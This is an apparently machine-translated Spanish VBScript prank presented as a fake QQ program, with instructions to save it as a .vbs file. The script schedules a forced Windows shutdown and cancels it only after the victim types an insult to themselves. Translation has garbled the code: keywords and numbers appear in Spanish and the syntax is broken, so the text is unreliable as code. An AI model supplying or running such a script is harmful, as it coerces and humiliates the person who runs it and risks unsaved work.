Programación falsa de Qq

nError continúa con el siguiente paso

Dim WSHshellA

Establezca WSHshellA = wscript. CreateObject("wscript.shell ")

wsh shell a . run " cmd . exe/cshutdown-s-t90-c " "Llámame cerdo o te cerraré inmediatamente. Si no lo haces No me creas, intenta..." ", 0, verdadero

Dim

do While(a <& gt"Soy un cerdo")

A = InputBox("Dime que soy un cerdo, no lo apagaré si no ladro. Vamos, dímelo", "Di o no cuentes", "No decir", ocho mil, siete mil)

MsgBox Chr(13)+Chr(13)+Chr(13)+a,0," MsgBox "

Anillo

msgbox CHR(13)+CHR(13)+CHR( 13)+ “¡Ojalá te lo hubiera dicho antes! Vale, no lo cierres más. "

wshshella . run " cmd . exe/c Shutdown-a "

El -90 en S-T 90-C varía en el tiempo. Construya un texto txt y agregue el sufijo. Cambiar a vbs.